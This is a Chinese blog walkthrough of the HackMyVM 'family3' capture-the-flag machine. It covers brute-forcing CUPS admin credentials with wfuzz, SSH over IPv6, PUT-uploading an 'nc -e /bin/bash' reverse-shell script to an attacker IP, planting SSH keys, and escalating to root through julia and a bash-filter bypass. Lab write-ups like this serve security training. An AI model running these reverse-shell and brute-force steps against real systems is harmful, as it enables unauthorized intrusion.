HackMyVm family3

此靶机来源于HackMyVm,下载地址:https://hackmyvm.eu/

0x000 信息收集


主机探测

netdiscover -r 192.168.1.0/24

端口扫描

nmap -sS -sV -T4 -A -p 1-65535 192.168.1.106

22    ssh # 处于过滤状态
631   ipp

访问631端口,出现如下页面。

点击Add Printers出现401认证界面。

查看Printers页面,发现用户mum

爆破401认证界面

这里我使用wfuzz爆破,也可以使用burpsuite抓包爆破。

wfuzz -c -w /usr/share/wordlists/rockyou.txt --basic mum:FUZZ -u http://192.168.1.106:631/admin/ -b "org.cups.sid=f607a41978fbca423d4de60f686fe8f5" -d "org.cups.sid=f607a41978fbca423d4de60f686fe8f5&OP=add-printer" -Z --hc 401

密码:lovely

登陆后台,没什么可用的信息。

使用ssh ipv6地址登陆用户mum

# 查看ipv6地址(第一次查看可能不会返回信息)
ip -6 neigh

# 使用ipv6 ping 一下组播地址
ping6 ff02::1  

# 查看对应目标地址的mac地址
arp -e

# 然后就可以看到对应mac地址的ipv6地址
ip -6 neigh

ssh -6 mum@fe80::a00:27ff:febb:4a8a%eth0


0x001 提权


查看/home/dad/project文件,发现如下信息。

查看网络信息,发现本地开放8000端口,进行本地端口转发。

Shift + ~ + C 打开ssh

输入-L 8000:localhost:8000

for x in GET POST PUT HEAD ; do echo "Method $x" ; curl --head -X $x http://localhost:8000 ; done

查看本地8000端口支持的协议,支持PUT伪协议,可以上传文件。

# kali编写反弹shell脚本
echo "nc -e /bin/bash 192.168.1.104 9999" > shell

# 上传shell脚本到目标机
curl --upload-file shell http://localhost:8000

成功监听到shell,这里获取的shell不太稳定。

# 目标机生成ssh密钥
ssh-keygen

mv id_rsa.pub authorized_keys

将 cat id_rsa 的内容复制到kali的dad文件中

# 赋权限(必须是600)
chmod 600 dad

# ssh登陆
ssh -6 -i dad dad@fe80::a00:27ff:febb:4a8a%eth0

查看当前用户权限,发现/usr/bin/julia具有root权限。

运行查看,run('bash')查看权限,发现/home/baby/chocapic文件具有root权限。

julia用法:http://blog.leahhanson.us/post/julia/julia-commands.html

查看内容,分析:

#! /bin/bash
set -e

while :
do
read -ep "baby command: " cmd
[[ ! $cmd =~ ^[[:alnum:]]|^$ ]] && break  ==> $cmd不能以字母、数字开头或为空
done

var=$(echo ${cmd%% *}) 2>/dev/null  ==> 在第一个空格后删除所有列
[[ ${#var} -ne 1 ]] && exit 1  ==> 字符串必须有一个字符

read -ra line <<< "$cmd"  ==> 字符串到数组
check=${line[1]}   ==> $cmd到索引1
[[ $check =~ ^[a-z] ]] && exit 1  ==> 不能以字母开头

if ! type -t "$check" |grep ^b >/dev/null && [[ ! ${#check} -eq 1 ]] ; then exit 1 ; fi  ==> $check必须是内置类型,并且必须是一个字符

eval "$check" 2>/dev/null  ==> 运行$cmd;如果状态代码不是0,则退出,因为set -e
bash -c "$cmd"   ==> 如果$-eq 0,所以运行$cmd

运行chocapic,输入[ : ] ; bash即可提升到root权限。


0x003 flag


这里root.txt文件使用openssl加密了。

openssl相关用法:https://www.openssl.org/docs/man1.1.1/man1/openssl-enc.html

渗透过程参考:https://www.youtube.com/watch?v=UHXoaWXYHh0

posted @ 2022-12-15 19:17  Cx330Lm  阅读(75)  评论(0编辑  收藏  举报